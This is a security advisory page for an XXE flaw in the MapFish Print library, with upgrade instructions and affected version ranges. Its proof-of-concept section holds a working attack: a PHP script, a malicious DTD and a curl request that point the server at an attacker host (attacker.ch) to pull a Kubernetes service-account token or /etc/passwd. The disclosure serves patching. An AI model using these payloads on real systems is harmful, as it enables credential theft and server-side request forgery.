VDB
Sign up
HIGH8.6

GHSA-5v29-34h8-v68r

MapFish Print has XXE that allows reading arbitrary files of certain types

Quick fix

GHSA-5v29-34h8-v68r — org.mapfish.print:print-lib: upgrade to the fixed version with the command below.

# pom.xml: bump <version>3.28.30</version> for org.mapfish.print:print-lib

Details

### Summary XXE on MapFish Print allows reading arbitrary files of certain types. Eg /etc/passwd or k8 secrets and certs.

https://github.com/mapfish/mapfish-print/commit/13020c0fbc299e5f604e4e66066311c4bf04d507

### Details To trigger the XXE it is required to host a remote script and dtd file. When using the Print feature its possible to send the attacker server url as url of the gml layer.

The 404 not found path when using the gml Layer will expand the content of the file as path and throw a default 404 with the full content as path.

### PoC Host this php file somewhere as xxe.php:

``` <?php $p=$_GET['p']; $d=dirname($_SERVER['SCRIPT_NAME']); $u=(empty($_SERVER['HTTPS'])?'http':'https')."://{$_SERVER['HTTP_HOST']}$d/evil.dtd"; header('Content-Type: application/xml'); echo "<?xml version=\"1.0\"?> <!DOCTYPE x [ <!ENTITY % payload SYSTEM \"file://$p\"> <!ENTITY % dtd SYSTEM \"$u\"> %dtd; ]> <wfs:FeatureCollection xmlns:wfs=\"http://www.opengis.net/wfs\" xmlns:gml=\"http://www.opengis.net/gml\"> <!-- ".str_repeat('x',200)." --> <gml:boundedBy><gml:null>unknown</gml:null></gml:boundedBy> </wfs:FeatureCollection>"; ```

and beneath host this "evil.dtd"

`<!ENTITY % exfil "<!ENTITY &#37; error SYSTEM 'file:///xxe-exfil/%payload;'>"> %exfil; %error;`

Now send a single curl request against your mapfish print server and include your hosted poc url as gml layer url with the path attached you would like to exfil. It will exfil /var/run/secrets/kubernetes.io/serviceaccount/token (most likely your local test setup wont have it, then just replace the path with /etc/passwd or similar plain files)

`curl -sk 'https://mapfish/api/print3/print/mapviewer/buildreport.pdf' \ -H 'Content-Type: application/json' \ -d '{"layout":"1. A4 landscape","attributes":{"printDate":"a","url":"","copyright":"","qrimage":"","map":{"projection":"EPSG:2056","rotation":0,"dpi":96,"center":[2600000,1200000],"scale":100000,"layers":[{"type":"gml","url":"https://attacker.ch/xxe.php?p=/var/run/secrets/kubernetes.io/serviceaccount/token"}]}},"outputFormat":"pdf"}'`

Its also noteworthy that when you use just a path with slash in the end /tmp/ for example - it will literally list the files and output this for you.

It is actually also possible to trigger an SSRF and request internal URLs if you'd change the file:// prefix in the dtd to https://

### Impact disclose local files. blind(ish) SSRF (depends on the servers response data)

Are you affected?

Enter the version of the package you're using.

Affected packages

Maven/org.mapfish.print:print-lib
Introduced in: 3.0.0Fixed in: 3.28.30
Fix# pom.xml: bump <version>3.28.30</version> for org.mapfish.print:print-lib
Maven/org.mapfish:print.print-servlet
Introduced in: 3.0.0Fixed in: 3.28.30
Fix# pom.xml: bump <version>3.28.30</version> for org.mapfish:print.print-servlet
Maven/org.mapfish.print:print-lib
Introduced in: 3.29.0Fixed in: 3.30.32
Fix# pom.xml: bump <version>3.30.32</version> for org.mapfish.print:print-lib
Maven/org.mapfish.print:print-servlet
Introduced in: 3.29.0Fixed in: 3.30.32
Fix# pom.xml: bump <version>3.30.32</version> for org.mapfish.print:print-servlet
Maven/org.mapfish.print:print-servlet
Introduced in: 3.31.0Fixed in: 3.31.24
Fix# pom.xml: bump <version>3.31.24</version> for org.mapfish.print:print-servlet
Maven/org.mapfish.print:print-lib
Introduced in: 3.32.0Fixed in: 3.33.16
Fix# pom.xml: bump <version>3.33.16</version> for org.mapfish.print:print-lib
Maven/org.mapfish.print:print-servlet
Introduced in: 3.32.0Fixed in: 3.33.16
Fix# pom.xml: bump <version>3.33.16</version> for org.mapfish.print:print-servlet
Maven/org.mapfish.print:print-lib
Introduced in: 3.34.0Fixed in: 4.0.5
Fix# pom.xml: bump <version>4.0.5</version> for org.mapfish.print:print-lib
Maven/org.mapfish.print:print-servlet
Introduced in: 3.34.0Fixed in: 4.0.5
Fix# pom.xml: bump <version>4.0.5</version> for org.mapfish.print:print-servlet

References